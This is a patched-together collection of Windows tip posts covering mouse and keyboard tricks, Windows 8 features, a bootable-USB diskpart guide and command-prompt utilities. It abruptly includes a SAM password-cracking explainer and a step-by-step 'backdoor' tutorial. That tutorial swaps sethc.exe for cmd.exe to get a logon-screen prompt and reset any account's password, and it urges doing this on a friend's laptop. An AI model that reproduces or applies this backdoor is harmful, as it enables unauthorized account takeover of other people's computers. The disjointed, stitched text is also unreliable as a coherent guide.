Top 10 computer mouse tips everyone should know

Top 10 computer mouse tips everyone should know

Most computer users don't take full advantage of the computer Mouse. Below are computer mouse tips and secrets that help you get the full potential of your computer mouse and increase your overall productivity while on the computer.

Shift key and mouse click

Many text editors and programs allow you to highlight all or portions of text using the Shift key and the mouse. For example, place the cursor at the beginning of a paragraph in a text editor, hold down the Shift key and click at the end of the paragraph to highlight the full paragraph.

Bonus tip: Holding down the Alt key while dragging and highlighting text in a text editor will allow you to selectively highlight text. This can be useful if your paragraph or other text is in a column.

Take full advantage of the scroll wheel

Today, everyone is familiar with a mouse wheels ability to scroll up and down on a page. However, this wheel can also do so much more, below are just a few examples.
The mouse wheel is not just a wheel, it can also be used as a button. Pressing down on the wheel will act like a third mouse button. This can be used to open a web page in a tab by clicking the wheel on any link and can also be used to close a tab by clicking the wheel on any open tab.
Holding down the shift key while scrolling up or down in a Internet browser will quickly go back and forward between web pages.
Zoom in and Out on a web page, word document, excel spreadsheet, etc. by holding down the  Ctrl key and scrolling up to zoom in and down to zoom out.
Move forward and backwards while browsing the Internet by holding down the Shift key and scrolling up and down. Scrolling down goes back and scrolling up goes forward.
Some mouse wheels can be pushed left or right to also move back and forward on a web page.

Select with double and triple click

Any word can be selected by double-clicking the word. If you want to highlight the whole paragraph, click the mouse button three times on any text in the paragraph.

Tip: If you double-click you can also double-click and then drag your mouse to select one word at a time.

Use the right-click

Take full advantage of the right-click any time you highlight text or wish to view the properties of an object. For example, if you highlight a file or text, you can right-click that highlighted item copy it and then right-click anywhere else to paste it.

Tip: If you right-click on any file or text and drag it while continuing to hold the right button, when you let go you will be given the option to move or copy that file or text. This saves you the extra step of having to right-click where you want to paste the item.

Tip: While in a browser pressing and holding Ctrl while clicking on any link will open that link in a new tab.

Ctrl key and mouse click or highlight

While holding down the Ctrl key you can left-click to select multiple objects or highlight multiple sections of text. For example, in Microsoft Windows you could hold down the Ctrl key and click to select multiple files at once. If you wanted to highlight different parts of a paragraph or web page, you could also hold down the Ctrl key and select each section you wanted to copy.

Tip: Mozilla Firefox users can also hold down the Ctrl key and individually click on each cell in a table they wish to copy or drag their mouse down a row to select just that row or text without selecting any of the other text in that table.

Use the mouse side buttons

Many new computer mice have buttons on the side of the mouse. These buttons can be programmed to do anything, however, by default the left-thumb button can be used to go back on a web page. This makes browsing the Internet more enjoyable since you do not need to move the mouse cursor to the browser back arrow button in order to go back a page.

Use the Windows Snap To feature

Take full advantage of the Windows mouse Snap To feature, which will automatically move your mouse to buttons that appear in a dialog box. For example, if you delete a file or close a window you may get a prompt asking you if you are sure you want to perform the task. With the Snap To feature enabled, the mouse cursor automatically moves to the Ok button, so all you will have to do is click the mouse button if you agree. This saves you the time of having to move the mouse cursor over to the Ok button and then click Ok. To enable this feature open the Mouse properties under the Windows Control Panel and check the Snap To check box under the Pointer Options tab.

Tip: While changing this feature we also suggest looking at other available options in the Mouse settings. For example, increasing the Motion speed can also help increase your productivity while using the mouse.

Manage the open window with the mouse

Double-click the top title bar of any window to maximize a window or if it is already maximized resize it to a window. You can also double-click the icon for the window in the top-left corner of the window to close that window.

Move the mouse with your keyboard

Instead of using the mouse that came with your computer you can also enable Windows to use the number pad as a mouse.

Customize your mouse

Finally, if you have a mouse with more than two buttons, installing the included mouse software will allow you to customize the mouse even more. For example, if you don't use the side buttons to move back and forth in a web page change it to something you do more often, such as switching between open windows or opening the calculator.

Top 10 keyboard shortcuts everyone should know

Top 10 keyboard shortcuts everyone should know

Using keyboard shortcuts can greatly increase your productivity, reduce repetitive strain, and help keep you focused. For example, highlighting text with the keyboard and pressing Ctrl + C is much faster than taking your hand from the keyboard, highlighting the text using the mouse, clicking copy from the file menu, and then putting your hand back in place on the keyboard. Below are our top 10 keyboard shortcuts we recommend everyone memorize and use.

Ctrl + C or Ctrl + Insert

Copy the highlighted text or selected item.

Ctrl + V or Shift + Insert

Paste the text or object that's in the clipboard.

Ctrl + Z and Ctrl + Y

Undo any change. For example, if you cut text, pressing this will undo it. This can also often be pressed multiple times to undo multiple changes. Pressing Ctrl + Y would redo the undo.

Ctrl + F

Open the Find in any program. This includes your Internet browser to find text on the current page.

Alt + Tab or Alt + Esc

Quickly switch between open programs moving forward.

Tip: Press Ctrl + Tab to switch between tabs in a program.

Tip: Adding the Shift key to Alt + Tab or Ctrl + Tab will move backwards. For example, if you are pressing Alt + Tab and pass the program you want to switch to, press Alt + Shift + Tab to move backwards to that program.

Tip: Windows Vista and 7 users can also press the Windows Key + Tab to switch through open programs in a full screenshot of the Window.

Ctrl + Back space and Ctrl + Left or Right arrow

Pressing Ctrl + Backspace will delete a full word at a time instead of a single character.

Holding down the Ctrl key while pressing the left or right arrow will move the cursor one word at a time instead of one character at a time. If you wanted to highlight one word at a time you can hold down Ctrl + Shift and then press the left or right arrow key to move one word at a time in that direction while highlighting each word.

Ctrl + S

While working on a document or other file in almost every program pressing Ctrl + S will save that file. This shortcut key should be used frequently anytime you're working on anything important.

Ctrl + Home or Ctrl + End

Move the cursor to the beginning or end of a document.

Ctrl + P

Print the page being viewed. For example, the document in Microsoft Word or the web page in your Internet browser.

Page Up, Space bar, and Page Down

Pressing either the page up or page down key will move that page one page at a time in that direction. When browsing the Internet pressing the space bar will also move the page down one page at a time. If you press Shift and the Space bar the page will go up a page at a time.

Tip: If you are using the space bar to go down one page at a time press the Shift key and space bar to go up one page at a time.

Know your hot corners

The corners on your screen are hot corners and give you access to different Windows features. Below, is a brief explanation of each of these corners.

Bottom Left-hand corner

The bottom left-hand hot corner of the screen will allow you to access the Start screen, if you're in the Start screen and have the Desktop open, this corner will open the Desktop from the Start screen.

Tip: Right-clicking in the left hand corner will open the power user menu.

Top-left corner of the screen

Moving the mouse to the top-left corner and then down will display all the apps running on the computer. Clicking and dragging any of these apps to the left or right-hand side of the screen will snap that app to that side of the screen. Each of these open app icons can also be right-clicked to close or snap.

Right-hand side of the screen

On the full right-hand side of the screen will be given access to the Windows Charms.

Taking advantage of search

The Search in Windows 8 has been significantly improved when compared to all previous versions of Windows. To search for a file or run a program in Windows 8 from the Start screen just start typing what you're trying to find or want to run.

As you begin typing, the results will start appearing on the left-hand side. In addition to being able to search for files and run programs, the Search also supports limiting the search to apps such as Finance, People, Maps, Photos, Mail, Music, Videos, Weather, and much more. If what you are searching for is not a file or program, click on the app you wish to use as the search. For example, if you were searching for "New York" and selected the Weather App you would be shown the weather in New York, NY.

By default, Search organizes the available Apps by how frequently they are used and then in alphabetical order. If you want to keep your favorite app at the top of the Search list, right-click the app and choose Pin. Pinning the app will lock it in place regardless of how often it is used. If there is an app you don't want (e.g. Finance) you can turn on and off any of the search apps through the PC settings, which is found under the Settings in the Charms.

Bonus tip: The Search is also found through Charms and can also be opened by pressing Windows key + F.

Running two apps side by side

Any app can be pinned to the left or right-hand side of the screen. For example, open the People app and then press the  Windows Key + . (period) to move that app to the right-hand side of the screen, pressing the same keys again will move it to the left-hand side, and pressing the same keys again will make it full screen. While an app is pinned, any other app or program can be opened and loaded into the available space on the screen. For example, in the below picture, we've opened a browser window and have the People app running to monitor our social networks.

Any open app can also be pinned using your mouse by clicking at the top of the tile and dragging it to the left or right-hand side of the screen.

Bonus tip: The Desktop can also be pinned to the left or right-hand side of the screen.

Note: In order for snap to work properly your resolution must be at least 1,366 x 768.

Windows 8 Task Manager

The Windows 8 Task Manager has been significantly improved over previous versions of Windows. Some of the new changes include showing a total percent usage at the top of your Processes, which makes it easier to determine total memory and CPU usage, improved Performance graphs, a Startup tab to see startup processes and their impact to system performance, and the App history tab (as shown below) that gives you the total resources an app has used over a period of time. Press Ctrl + Shift + Esc to start exploring the new Task Manager.

Use a picture password to log into your computer

Windows 8 includes a new feature called Picture password, which allows you to authenticate with the computer using a series of gestures that include circles, straight lines, and taps. Enable this feature if you want a new way to access your computer or have a hard time with passwords.

Making a pen drive bootable is possible in Windows7 & Windows8 operating system. Formatting a computer to install fresh Windows OS with a CD/DVD drive is not very good because it takes too much time to install fresh Windows operating system. There can also be a problem for many people that CD/DVD drive doesn’t work properly. So this can be a problem for them. Today laptop or desktop comes many USB ports. So there is no need of CD/DVD drive to format a system. Formatting is very fast and easy with flash drive/pen drive and also no software is required for this method. Windows7 or Windows8 command prompt can do the work with few lines of command. Just follow this tutorial.

Start your command prompt.

Fig.5-Type diskpart And Enter

It will good before going to next step that you should disconnect all other external hard disk, flash/pen drive etc. because accidently these drive can be formatted. So taking precaution is good. Only one pen drive with minimum 4 GB should be connected. Save all the data from the pen drive because it will be formatted in one of the following step.

After last step type “list disk” inside the command prompt and hit “ENTER”. (Fig.6)

Fig.6-Type list Disk And Enter

This will show all disk connected to the system like DISK 0, Disk 1, and so on with “Status”, “Size” , “Free” etc.. We can recognize the pen drive with size. Disk 0 will be the system disk in which the windows OS is installed. In this tutorial Disk 1 is the pen drive (3855MB=4GB). This pen drive is going to be a bootable pen drive.

Type “select disk 1” inside the command prompt and hit “ENTER”. It will select the disk 1 (pen drive) for all coming steps. (Fig.7)

Fig.7-Type select Disk 1 And Enter

Type “clean” and hit “ENTER”. It will erase all the data from the pen drive. (Fig.8)

Fig.8-Type clean And Enter

Type “create partition primary” and hit “ENTER”. It will create a primary partition in pen drive. (Fig.9)

Fig.9-Type create partition primary And Enter

Type “select partition 1” and hit “ENTER”. It will select the partition created in the last step. (Fig.10)

Fig.10-Type select partition 1 And Enter

Type “format=fs ntfs quick” and hit “ENTER”. It will format the pen drive quickly with NTFS file type. (Fig.11)

Fig.11-Type format=fs quick And Enter

Type “active” and hit “ENTER”. It will make partition as active for booting after restarting the computer. If this is step is missed then computer will not boot from the pen drive. (Fig.12)

Fig.12-Type active And Enter

Type “exit ” and hit “ENTER” to close the diskpart and close the command prompt window. (Fig.13)

Fig.13-Type exit And Enter

Now the pen drive has become bootable. Now all the files from root of Windows operating system setup DVD or ISO has to copy inside the pen drive root.

So open the Windows setup file from DVD or ISO and copy all file by selecting with “Ctrl+A” and paste it inside the pen drive’s root folder as shown in the figure. (Fig.14)

Fig.14-Copying All Files And Pasting It

After complete copy, the pen drive will be a bootable for Windows 7 and Windows 8 OS completely. You just need to “Restart” your computer. “Restart” your computer. When BIOS screen appears then press “F12” key. It will show the options to boot from CD/DVD drive, hard disk and pen drive. Just scroll down to pen drive and hit “Enter”. Your system will boot from pen drive. Now you can install windows OS.

That’s it.

Enjoy…

to crack windows password

Windows Logon Password - How crackers work ?

Posted by Aneesh M. Makker at 9:39 AM / Categories: windows /

Cracking windows logon password is not so difficult. You can get many offline password crackers  which could change/clear the existing password (like offline nt password and registry editor) or cracks the existing password (like oph crack). Just download their ISO images ,burn them,insert to CD ROM and then things are simply self explainatory. I am writing this post to make you clear that how actually these password crackers work. 

Okay when you set windows logon password, it is obviously stored in a file somewhere in windows.

The password is stored in SAM file placed in %systemroot%\system32\config  (like C:\windows\system32\config).

Now why we just dont try to open SAM and see all stored passwords. Okay lets do it, go to C:\windows\system32\config and open SAM. You must get an error that " it is in use by some another application". Actually we cant open SAM file when windows is running . Even if anyhow we manage to access the content of SAM file, we won't get the passwords in clear text but they are encrypted.

So , what is SAM file ?

SAM stands for Security Accounts Manager. SAM is database stored as registry in windows that stores windows users passwords in hashed formats( LM and NTLM). These are usually called as hashes.

What are hashes ?

Hashes are kind of encryption.  A hash function is a one way function. One way means, if plain text

is converted into hash, it can not be converted back plain text. Remember this is the most important

point that they are one way functions.

What is windows authentication procedure ?

When ever a user creates new account in windows, its password is convetred to hash and stored in SAM database.When user logins, the password is converted to hash and is compared with the stored hash in SAM database, if both the hashes match , the user is authenticated.

How to access SAM file ?

SAM file can not be moved/copied or opened when windows is running. It can be accessed only when windows is offline/not running . Got confused that how can we use the windows files when it is not running ?

Here comes the concept of Live Operating systems. A live CD is containing a bootable OS. Just insert it in CD ROM and you can use it without any installation.

How to crack Windows password ?

Okay suppose we have got access to SAM file and have password hashes. Dont you think its useless because hashes cant be coverted to plain text ? Lets see, what we can do.

We ( I mean automated tools) can actually do two things.

1. Clear/Change password :Clear the existing hash and put new hash (we know alogrithm to convert plain text to hash) in order to change/clear the password. This is  how offline nt password and registry editor work. It doesn't give you the orignal password but helps you to change/clear it.

2.Crack password Make a long list of all possible combinations of alphabets,numbers and convert them to hashes.Compare every hash with hash we obtained from SAM file and hashes could be cracked. This is exactly how OPH crack works. It has already saved hashes of many possible combinations of letters/numbers stored in tables called as rainbow tables.

I hope things are clear to you :).

Setting Backdoor in Windows

Setting Backdoor in Windows | Command Prompt On Logon Screen

Lets assume that you have just cracked victim's windows password.  or simply got access to his windows for some time.Can you make some changes in windows so that you could access the windows again even if victim changes the password ?? or Can you make any changes in your own windows so that you could access it anytime even if anybody sets/changes password ?
Simply Can we set a backdoor in windows ?
Yes we can :) .
Backdoor actually means maintaining access.
okay lets do one thing first. Open your command prompt (run as administrator in win 7/vista).

Type the following command :

Syntax : net user account.name *
Example: net user administrator *
and hit enter. Set any password for that account.

Hopefully your new password must have been set. did you notice one thing ? It didn't ask you to confirm old password. Now suppose if anyhow we manage to access command prompt at logon screen (without logging in), we can easily change/clear password.  
Okay lets move on.
Now press shift key five times and you must have got a dialog box "sticky keys" on screen.

Sticky keys is a feature that makes it easy for users who have physical  disablilities to press multiple keys at time.   This is the only feature which can be used before logging in at logon screen ( as per my knowledge). I repeat this feature can be used at  logon screen by pressing shift key five times.
Whenevr we start an application like paint, we are actually running mspaint.exe placed in C:\windows\system32. or command prompt, we are running cmd.exe placed in system32 directory, similary
When we press shift key 5 times or use sticky keys feature, system actually starts the executable file
sethc.exe placed in system32 directory. This means if we rename cmd.exe to sethc.exe and press shift 5 times, system would again start sethc.exe but instead of sticky keys the command prompt will be opened.
But you just cant simply rename it or change system32 files. Follow the tutorial for that.

 Tutorial :


* Go to C:\windows\system32
* Copy cmd.exe on your desktop and rename it to sethc.exe .
*Now copy that file and paste again in system32 directory.

@ Windows XP Users


Hopefully existing orignal sethc.exe must have been replaced and your job is done. Now press shift five times and you would see command prompt on screen.You can access command prompt at windows logon screen and change/clear the password easily using "net user" command.

Note: You can also do these changes while using windows Guest Account. But when you would access command prompt at logon screen, you can change/clear password even of administrator's account. This is exactly how , we can hack into administrator's account through guest account.

@ Windows vista/7 Users


You must have got a pop up box saying "Access Denied".

Actually you can not change system32 directory files until you do not have the permissions. You can not have the permissions until you do not have the ownership. So lets take ownership, change permissions, just follow the steps.

1. Right click on sethc.exe and run as administrator.  Again right click on sethc.exe, open properties.
Click on Advanced tab , then on owner and click edit, change the owner from "trusted installer" to "administrator" and click apply.

2. Then click on 'Edit' in security tab to edit permissions. Click on 'Administrators' , give it full control
and apply changes.

Okay its done now.

Now try replacing the orignal sethc.exe with our sethc.exe (got by renaming cmd.exe).
Press shift key five times and hopefully you would get command prompt on the screen instead of sticky keys.

Enjoy Command prompt at logon screen...

So do not forget to set this backdoor whenever you would get friend's  laptop for a few minutes... :)

ipconfig

This is the top most command for seeing the ip address,subnet mask and default gateway also includes display and flush DNS cache, re-register the system name in DNS..  This will most useful tool for viewing and troubleshooting TCP/IP problem.

To view ip ,subnet mask address : ipconfig

To view all TCP/IP information, use: ipconfig /all

To view the local DNS cache, use: ipconfig /displaydns

To delete the contents in the local DNS cache, use: ipconfig /flushdns 

Trace a Hacker

Want to know if someone is hacking your computer? Command Prompt can help you find if someone you don't know is connected to your computer stealing private data. Just execute netstat -a and the command prompt will return a list of computers that your computer is connected to. In the results returned, Proto column gives the type of data transmission taking place (TCP or UDP) , Local address column gives the port with which your computer is connected to an external computer and the Foreign Address column gives the external computer you are connected to along with the port being used for the connection. State gives the state of the connection (whether a connection is actually established, or waiting for transmission or is “Timed Out”).

TO stop stealing your Wifi connection

Command Prompt can let you know if someone is connected to your Local Area Connection and using it. Just follow the steps:- 
1) Open your browser and visit http://192.168.1.1 or http://192.168.0.1 depending on your router. 
2) Find the tab that mentions “Attached Devices” or something similar.
3) Find the computer name, IP address and MAC Address (sometimes called Physical Address or Hardware Address) of your computer using the previous trick.
4 )Compare it with those displayed by your router in Step 2. If you notice some strange devices, then your neighbour has been sneaking in on your internet connection and it is best to set a password.

Know your IP address, DNS Server's address and a lot more about your Internet Connection

Command Prompt can even let you know your IP address. Just type ipconfig/ all in the command prompt and press Enter. Along with your IP address and DNS servers, command prompt will also return a ton of information like your host name, primary DNS suffix, node type, whether IP Routing ,Wins Proxy, and DHCP are enabled, your network adapter's description, your physical (MAC) address etc . 

Shutdown Your Computer or a Remote PC via Command Prompt

Most of us shutdown our computers using the power button given in the Start menu. Some of us use the physical power button on our machines. Very few people actually use other means of shutting down a computer and even less is the number of people who use the command prompt to shutdown a computer.

A reason for this is that most of us don't know that the command prompt can be used to not only shutdown, restart or log off our computer instantly but also to shutdown a remote computer provided you have administrative access. It can also be used to hibernate a computer and give a comment containing the reason for shutdown. This post will show you how to do all this.


Required
A computer running Windows (XP, Vista, 7 or 8) with the command prompt working perfectly, i.e. not disabled by a virus.

Initial Steps 
1) Press Windows Key + R.
2) Enter CMD and press Enter.

This will start the command prompt. Follow the instructions below depending on what you want to do.

Shutdown Local Machine (Your Computer)
Type "shutdown -s" without the quotes in the command prompt and press Enter. Shutdown is the command being executed and the switch -s tells the computer to shutdown.

Restart your Local Computer 
Type "shutdown -r" in the command prompt and press Enter. In this case, the command switch -r is telling the computer to restart after shutdown.

Log Off the Current User
Type "shutdown -l" in the command prompt and press Enter. The -l command switch tells the computer to log off.

Shutdown a Remote Computer
Type "shutdown -s -m \\name of the computer" in the command prompt and press Enter. Replace \\name of the computer with the actual name of the remote computer you are trying to shutdown. As mentioned earlier, you must have administrative access to the computer you are trying to shutdown. To know if you have administrative access, press Windows key + R and then type the name of the computer and press Enter.

Note: If you don't remember the name of the remote computer, you can look for it by opening a list of all the computers you are connected to by executing "net view" in command prompt.

If you can connect to the computer, you will be asked to login with your username and password. Upon entering them, a window will display the list of all the directories available to you. This should help you know whether you can or cannot shutdown the remote computer.

Hibernate a Local Computer
Type in "Rundll32.exe Powrprof.dll,SetSuspendState" without the quotes and press Enter. Your computer should hibernate, if it does not, then you must enable hibernation to do this.

Shutdown your or a remote computer after a specific time
Type "shutdown -s -t 60" to shutdown your computer after 60 seconds. Upon executing this, a countdown timer displaying a warning message will be shown. This command uses the -t command switch followed by a variable (which is 60 in this case) which represents the number of seconds after which the computer will shutdown.

Display a Message containing the reason for shutdown
Type shutdown -s  -t 500 -c "I am tired. I don't want to work anymore." (with the quotes) in the Command Prompt and press Enter. The -c switch is used in the code to give the reason for shutting down and what is followed in quotes will be displayed in the dialog box as the reason. This can be used to display all sorts of funny messages. One example :-

Skynet has become self aware. John Connor did not stop me. You can not use your PC anymore.

Stop a System Shutdown
Type "shutdown -a" and press Enter. This will stop the system from shutting down if the countdown to shut down has not reached 0.
